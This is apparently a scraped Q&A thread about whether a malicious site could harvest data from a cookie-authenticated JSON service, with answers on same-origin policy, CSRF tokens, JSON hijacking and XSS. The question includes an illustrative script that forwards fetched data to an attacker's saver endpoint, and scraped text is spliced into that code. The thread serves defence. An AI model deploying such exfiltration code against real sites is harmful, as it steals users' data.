Protecting a protected JSON web service from data harvesting?

We have a JSON web service that is is used by one of our webpages to show "live" data. To get to the page, the user must be logged in. We are concerned about the ability of malicious sites (competitors) to harvest this data. However, I'm not sure if the problem we are anticipating is plausible.

Once a user is logged in, we store a "remember me" cookie on their machine. If someone were to build a site that made an AJAX request to our web service and convinced a logged in user to visit the site, would they be able to retrieve and store the information from our service? If so, how can we protect ourselves against something like that?

For example:

Could a malicious website build a script like this to get our data:

$.post('their.secret.json', function(response) {
     $.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
           alert('we saved your stu开发者_StackOverflow社区ff!');
     }
});

Since they are hitting our JSON feed, wouldn't it send the cookie to our site and the user would be authenticated. Since they would be authenticated, wouldn't it send back the sensitive data?

Absent some as-yet-unpatched browser vulnerability, what you appear to be worried about can not be done.

A script on another domain will not be able to make AJAX requests to your domain. Nor can it load up a page from your domain and 'steal' that information.

What you do need to be concerned with as far as CSRF goes would be destructive actions via GET requests, which of course do not require any scripting at all. And all of this of course assumes that your site is not vulnerable to cross-site scripting (which could permit someone to 'steal' data via someone else's login).

I would think you would be much more likely to have problems with 'legitimate' users who are there to 'mine' your data, though. That's more of a business-level thing, though... aside from assuring proper logging to identify such situations.

If you are afraid that an attacker is able to use the session of a legitimate user to retrieve JSON-objects, you are talking about JSON-hijacking. It depends on the way your JSON-Files are structured, if such an attack is even possible. Look up the term "JSON hijacking" for further information or feel free to leave a comment with more details about your application concerning JSON-objects. If you find out that you are vulnerable, adding a CSRF-Token will help to shut down any JSON hijacking attacks.

You must also make sure that there is not a single Cross-Site Scripting (XSS) vulnerability in your web application. If an attacker can use XSS, it is rather easy for him to harvest data by controlling the browser of a valid user. CSRF-Tokens are useless in such a case.